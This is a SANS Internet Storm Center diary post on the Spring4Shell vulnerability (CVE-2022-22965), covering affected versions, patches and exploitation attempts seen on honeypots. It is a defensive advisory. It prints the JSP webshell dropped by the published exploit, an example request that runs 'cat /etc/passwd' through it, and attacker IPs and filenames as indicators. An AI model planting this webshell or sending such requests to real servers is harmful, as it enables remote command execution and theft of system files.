SANS ISC: InfoSec Handlers Diary Blog - SANS Internet Storm Center SANS Site Network Current Site SANS Internet Storm Center Other SANS Sites Help Graduate Degree Programs Security Training Security Certification Security Awareness Training Penetration Testing Industrial Control Systems Cyber Defense Foundations DFIR Software Security Government OnSite Training InfoSec Handlers Diary Blog

isc.sans.edu/diary/rss/28504

Spring Vulnerability Update - Exploitation Attempts CVE-2022-22965

Published: 2022-03-31
Last Updated: 2022-03-31 16:55:14 UTC
by Johannes Ullrich (Version: 1)
0 comment(s)

The Spring project now released a blog post acknowledging the issue so far known as "sping4shell":

https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement

The announcement confirms some of the points made yesterday:

- JDK 9 or higher are affected (JDK 8 is not affected)
- Spring MVC and Sping Webflux applications are affected
- Spring Boot executable jars are vulnerable, but the current exploit does not affect them
- A patch has been released. Upgrade to Spring Framework 5.3.18 (with Spring Boot 2.6.6 or 2.5.12) or Spring Framework 5.2.20
- We now have a CVE: CVE-2022-22965
- CVSS Score is 9.8

The vulnerable libraries are not as widely used as log4j, and exploitation does depend a bit more on the application. But just like for log4j, we will likely see exploits evolving and spreading quickly for some popular vulnerable applications.

We started seeing some exploit attempts that match the general "Spring4Shell" pattern early on Wednesday (around 09:20 UTC). The first exploit from one of our larger honeypots and came from 38.83.79.203. It was directed at a honeypot listening on port 9001, not the "usual" tomcat port 8080.

The currently published exploit will change the logging configuration, writing a file to the application's root directory. Next, the attacker will send requests that contain code to be written to this new "log file". Finally, the attacker will access the log file with a browser to execute the code. The code in the currently published exploit does create a simple webshell:

```
 <% if("j".equals(request.getParameter("pwd"))){
      java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
      int a = -1;
      byte[] b = new byte[2048];
      while((a=inread(b))!=-1) {
        out.println(new String(b));
      }
} %>
```

[beautified code to make it more readable]

Files like this, present in the application's directory, could be used as an indicator of compromise. The exploit alters the logging configuration. After the exploit is executed, all access logs will be appended to this script, and these logs are also sent back to the attacker as the attacker accesses the script. A typical filename is "tomcatwar.jsp", but of course the name of the parameters, and the filename, are easily changed.

A typical request looking for the web shell will look like:

> `GET /tomcatwar.jsp?pwd=j&cmd=cat%20/etc/passwd`

We have seen attempts to install the web shell, as well as attempts to access existing webshells. Couple IPs that "stick out":

- 149.28.147.15
- 103.214.146.5
- 158.247.202.6

I have also seen the filename "wpz.jsp" used, in particular by 103.214.146.5. Some swear words have also shown up in filenames used by specific IPs.

Please note that we are not sure if these attempts actually work. They are detected by honeypots that are not actually vulnerable to these exploits.

Just like for log4j, we do see some scanning for vulnerable hosts by attempting to execute simple commands like 'whoami' or 'cat /etc/passwd'. The level of activity appears to be much less than what we had for log4shell. Likely because there isn't a simple "one size fits all" exploit, and exploitability depends on the application, not just using a particular framework.

Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Keywords: honeypot spring4shell exploits java

0 comment(s)

DEV522 Defending Web Application Security Essentials
LEARN MORE
Learn to defend your apps before they're hacked

Top of page
×

Diary Archives